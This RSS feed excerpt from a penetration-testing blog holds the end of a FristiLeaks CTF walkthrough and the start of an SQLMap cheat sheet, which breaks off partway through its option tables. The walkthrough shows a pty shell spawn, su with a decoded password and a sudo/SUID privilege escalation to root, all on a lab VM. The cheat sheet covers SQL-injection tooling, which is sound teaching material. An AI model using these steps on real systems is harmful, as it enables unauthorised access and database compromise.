&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# python reverse.py &lt;span class=&quot;s2&quot;&gt;&quot;=RFn0AKnlMHMPIzpyuTI0ITG&quot;&lt;/span&gt;
LetThereBeFristi!&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Using the previously decoded string it was possible to &lt;code&gt;su -&lt;/code&gt; to the user &lt;strong&gt;fristigod&lt;/strong&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sh-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;import pty;pty.spawn(&quot;/bin/sh&quot;)&apos;&lt;/span&gt;
python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;import pty;pty.spawn(&quot;/bin/sh&quot;)&apos;&lt;/span&gt;
sh-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;su - fristigod
su - fristigod
Password: LetThereBeFristi!

&lt;span class=&quot;nt&quot;&gt;-bash-4&lt;/span&gt;.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;502&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;fristigod&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;502&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;fristigod&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;502&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;fristigod&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Enumeration as the user &lt;strong&gt;fristigod&lt;/strong&gt; revealed the SUID binary: &lt;code&gt;/var/fristigod/.secret_admin_stuff/doCom&lt;/code&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nt&quot;&gt;-bash-4&lt;/span&gt;.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; /var/fristigod
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; /var/fristigod
total 16
drwxr-x---   3 fristigod fristigod 4096 Nov 25 05:55 &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
drwxr-xr-x. 19 root      root      4096 Nov 19 01:41 ..
&lt;span class=&quot;nt&quot;&gt;-rw-------&lt;/span&gt;   1 fristigod fristigod  864 Nov 25 06:09 .bash_history
drwxrwxr-x.  2 fristigod fristigod 4096 Nov 25 05:53 .secret_admin_stuff
&lt;span class=&quot;nt&quot;&gt;-bash-4&lt;/span&gt;.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; .se
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; .secret_admin_stuff/
&lt;span class=&quot;nt&quot;&gt;-bash-4&lt;/span&gt;.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls
ls
&lt;/span&gt;doCom
&lt;span class=&quot;nt&quot;&gt;-bash-4&lt;/span&gt;.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt;
total 16
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 05:53 &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
drwxr-x---  3 fristigod fristigod 4096 Nov 25 05:55 ..
&lt;span class=&quot;nt&quot;&gt;-rwsr-sr-x&lt;/span&gt;  1 root      root      7529 Nov 25 05:53 doCom
&lt;span class=&quot;nt&quot;&gt;-bash-4&lt;/span&gt;.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./d
./doCom
Nice try, but wrong user &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;

&lt;p&gt;Execution of the doCom binary was possible using the user &lt;strong&gt;fristi&lt;/strong&gt; from the logged in user &lt;strong&gt;fristigod&lt;/strong&gt;, successfully escalating privileges.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; fristi .secret_admin_stuff/doCom /bin/sh
sh-4.1# &lt;span class=&quot;nb&quot;&gt;id
id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;100&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;100&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,502&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;fristigod&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;root-flag&quot;&gt;Root Flag&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;https://tldr.nu]

I wonder &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;you beat it &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the maximum 4 hours it&lt;span class=&quot;s1&quot;&gt;&apos;s supposed to take!

Flag: Y0u_kn0w_y0u_l0ve_fr1st1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>SQLMap Cheat Sheet: Flags &amp; Commands for SQL Injection</title>
          <link>https://hacksofdhruv.me/blog/sqlmap-cheat-sheet/</link>
          <pubDate>Sun, 11 Feb 2024 14:37:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Pen-Testing</category>
          
          <category>Web</category>
          
          <category>Tools</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/sqlmap-cheat-sheet/</guid>
          <description>&lt;h2 id=&quot;what-is-sqlmap&quot;&gt;What is SQLMap?&lt;/h2&gt;

&lt;p&gt;SQLMap is a SQL Injection automation tool that is finds and exploits SQL Injection vulnerabilities. SQLMap has a number of functionality that can assist from fingerprinting to fully compromising a database and/or in some cases gaining shell level access to a server. If you do not have a current understanding of the fundamentals of how a SQL injection vulnerability occurs or is exploited, see our documentation on &lt;a href=&quot;/penetration-testing/web-app/sql-injection/&quot;&gt;what is SQL injection&lt;/a&gt; for an overview.&lt;/p&gt;

&lt;div class=&quot;note&quot;&gt;&lt;h2&gt;TIP: How To Use SQLMap&lt;/h2&gt;
&lt;p&gt;I personally use SQLMap as an exploitation tool, due to the large amount of resources and traffic the tool uses I personally find that detection is better done manually or using other detection tools such as Burp Suite scanner.&lt;/p&gt; 
&lt;/div&gt;

&lt;h2 id=&quot;how-to-use-sqlmap&quot;&gt;How to use SQLMap&lt;/h2&gt;

&lt;p&gt;SQLMap could be used within an automation system to detect and exploit SQL injection (SQLi) vulnerabilities in web applications, or as a SQLi exploitation tool to use after a proof of concept SQLi payload has been confirmed.&lt;/p&gt;

&lt;div class=&quot;note warning&quot;&gt;&lt;h2&gt;WARNING: SQLMap Usage&lt;/h2&gt;

&lt;p&gt;Depending on the configuration SQLMap can be very heavy on request sent to a web application, and may cause DoS conditions for webservers and cause an excessive amount of log files for the target.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;The more information you can give SQLMap the faster and less requests the tool will make, for example if you know the backend DBMS is MySQL and it is vulnerable to time based injection, then this could be provided to SQLMap using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--dbms=mysql&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;–technique=T&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;how-to-install-sqlmap&quot;&gt;How to Install SQLMap&lt;/h2&gt;

&lt;p&gt;Install SQLMap via github:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone &lt;span class=&quot;nt&quot;&gt;--depth&lt;/span&gt; 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;how-to-update-sqlmap&quot;&gt;How to Update SQLMap&lt;/h2&gt;

&lt;p&gt;How to update SQLMap:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python sqlmap.py &lt;span class=&quot;nt&quot;&gt;--update&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;or cd into the github repo director and do:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git pull &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#what-is-sqlmap&quot; id=&quot;markdown-toc-what-is-sqlmap&quot;&gt;What is SQLMap?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-to-use-sqlmap&quot; id=&quot;markdown-toc-how-to-use-sqlmap&quot;&gt;How to use SQLMap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-to-install-sqlmap&quot; id=&quot;markdown-toc-how-to-install-sqlmap&quot;&gt;How to Install SQLMap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#how-to-update-sqlmap&quot; id=&quot;markdown-toc-how-to-update-sqlmap&quot;&gt;How to Update SQLMap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sqlmap-commands&quot; id=&quot;markdown-toc-sqlmap-commands&quot;&gt;SQLMap Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-options&quot; id=&quot;markdown-toc-sqlmap-options&quot;&gt;SQLMap Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-target&quot; id=&quot;markdown-toc-sqlmap-target&quot;&gt;SQLMap Target&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-requests&quot; id=&quot;markdown-toc-sqlmap-requests&quot;&gt;SQLMap Requests&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-optimisation&quot; id=&quot;markdown-toc-sqlmap-optimisation&quot;&gt;SQLMap Optimisation&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-injection&quot; id=&quot;markdown-toc-sqlmap-injection&quot;&gt;SQLMap Injection&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-detection&quot; id=&quot;markdown-toc-sqlmap-detection&quot;&gt;SQLMap Detection&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-techniques&quot; id=&quot;markdown-toc-sqlmap-techniques&quot;&gt;SQLMap Techniques&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-fingerprinting&quot; id=&quot;markdown-toc-sqlmap-fingerprinting&quot;&gt;SQLMap Fingerprinting&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-enumeration&quot; id=&quot;markdown-toc-sqlmap-enumeration&quot;&gt;SQLMap Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-brute-force&quot; id=&quot;markdown-toc-sqlmap-brute-force&quot;&gt;SQLMap Brute Force&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-custom-user-defined-options&quot; id=&quot;markdown-toc-sqlmap-custom-user-defined-options&quot;&gt;SQLMap Custom User Defined Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-file-system-options&quot; id=&quot;markdown-toc-sqlmap-file-system-options&quot;&gt;SQLMap File System Options&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-operating-system-access&quot; id=&quot;markdown-toc-sqlmap-operating-system-access&quot;&gt;SQLMap Operating System Access&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-windows-registry-access&quot; id=&quot;markdown-toc-sqlmap-windows-registry-access&quot;&gt;SQLMap Windows Registry Access&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#general-sqlmap-commands&quot; id=&quot;markdown-toc-general-sqlmap-commands&quot;&gt;General SQLMap Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#misc-sqlmap-commands&quot; id=&quot;markdown-toc-misc-sqlmap-commands&quot;&gt;Misc SQLMap Commands&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sqlmap-examples-how-to&quot; id=&quot;markdown-toc-sqlmap-examples-how-to&quot;&gt;SQLMap Examples: How To…&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#enumerate-databases&quot; id=&quot;markdown-toc-enumerate-databases&quot;&gt;Enumerate Databases&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#enumerate-tables&quot; id=&quot;markdown-toc-enumerate-tables&quot;&gt;Enumerate Tables&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-dump-db-table&quot; id=&quot;markdown-toc-sqlmap-dump-db-table&quot;&gt;SQLMap Dump DB Table&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-from-burp-file&quot; id=&quot;markdown-toc-sqlmap-from-burp-file&quot;&gt;SQLMap from Burp file&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#custom-sql-injection-payload-pre-and-post-input&quot; id=&quot;markdown-toc-custom-sql-injection-payload-pre-and-post-input&quot;&gt;Custom SQL Injection Payload: Pre and Post Input&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-cookie&quot; id=&quot;markdown-toc-sqlmap-cookie&quot;&gt;SQLMap Cookie&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-shell&quot; id=&quot;markdown-toc-sqlmap-shell&quot;&gt;SQLMap Shell&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-waf-bypass&quot; id=&quot;markdown-toc-sqlmap-waf-bypass&quot;&gt;SQLMap WAF Bypass&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-proxy&quot; id=&quot;markdown-toc-sqlmap-proxy&quot;&gt;SQLMap Proxy&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-blind-sqli-out-of-band-oob&quot; id=&quot;markdown-toc-sqlmap-blind-sqli-out-of-band-oob&quot;&gt;SQLMap Blind SQLi Out of Band (OOB)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-get-parameter&quot; id=&quot;markdown-toc-sqlmap-get-parameter&quot;&gt;SQLMap GET Parameter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-post-parameter&quot; id=&quot;markdown-toc-sqlmap-post-parameter&quot;&gt;SQLMap POST Parameter&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#run-sql-queries&quot; id=&quot;markdown-toc-run-sql-queries&quot;&gt;Run SQL Queries&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#url-parameters-in-friendly-urls&quot; id=&quot;markdown-toc-url-parameters-in-friendly-urls&quot;&gt;URL Parameters in Friendly URL’s&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#sqlmap-crawl--exploit&quot; id=&quot;markdown-toc-sqlmap-crawl--exploit&quot;&gt;SQLMap Crawl &amp;amp; Exploit&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#document-changelog&quot; id=&quot;markdown-toc-document-changelog&quot;&gt;Document Changelog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;sqlmap-commands&quot;&gt;SQLMap Commands&lt;/h2&gt;

&lt;h3 id=&quot;sqlmap-options&quot;&gt;SQLMap Options&lt;/h3&gt;

&lt;p&gt;Basic SQLMap command options:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-h, --help&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Show basic help message and exit&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-hh&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Show advanced help message and exit&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--version&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Show program&apos;s version number and exit&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-v VERBOSE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Verbosity level: 0-6 (default 1)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;sqlmap-target&quot;&gt;SQLMap Target&lt;/h3&gt;

&lt;p&gt;SQLMap target command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-u URL, --url=URL&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Target URL (e.g. &quot;http://www.site.com/vuln.php?id=1&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-d DIRECT&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Connection string for direct database connection&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-l LOGFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Parse target(s) from Burp or WebScarab proxy log file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-m BULKFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Scan multiple targets given in a textual file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-r REQUESTFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Load HTTP request from a file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-g GOOGLEDORK&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Process Google dork results as target URLs&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-c CONFIGFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Load options from a configuration INI file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-requests&quot;&gt;SQLMap Requests&lt;/h3&gt;

&lt;p&gt;SQLMap request command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-A AGENT, --user..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP User-Agent header value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-H HEADER, --hea..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Extra header (e.g. &quot;X-Forwarded-For: 127.0.0.1&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--method=METHOD&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Force usage of given HTTP method (e.g. PUT)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--data=DATA&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Data string to be sent through POST (e.g. &quot;id=1&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--param-del=PARA..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Character used for splitting parameter values (e.g. &amp;amp;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--cookie=COOKIE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP Cookie header value (e.g. &quot;PHPSESSID=a8d127e..&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--cookie-del=COO..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Character used for splitting cookie values (e.g. ;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--live-cookies=L..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Live cookies file used for loading up-to-date values&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--load-cookies=L..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;File containing cookies in Netscape/wget format&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--drop-set-cookie&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Ignore Set-Cookie header from response&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--mobile&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Imitate smartphone through HTTP User-Agent header&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--random-agent&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use randomly selected HTTP User-Agent header value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--host=HOST&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP Host header value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--referer=REFERER&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP Referer header value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--headers=HEADERS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Extra headers (e.g. &quot;Accept-Language: fr\nETag: 123&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--auth-type=AUTH..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP authentication type (Basic, Digest, NTLM or PKI)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--auth-cred=AUTH..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP authentication credentials (name:password)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--auth-file=AUTH..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;HTTP authentication PEM cert/private key file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--ignore-code=IG..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Ignore (problematic) HTTP error code (e.g. 401)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--ignore-proxy&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
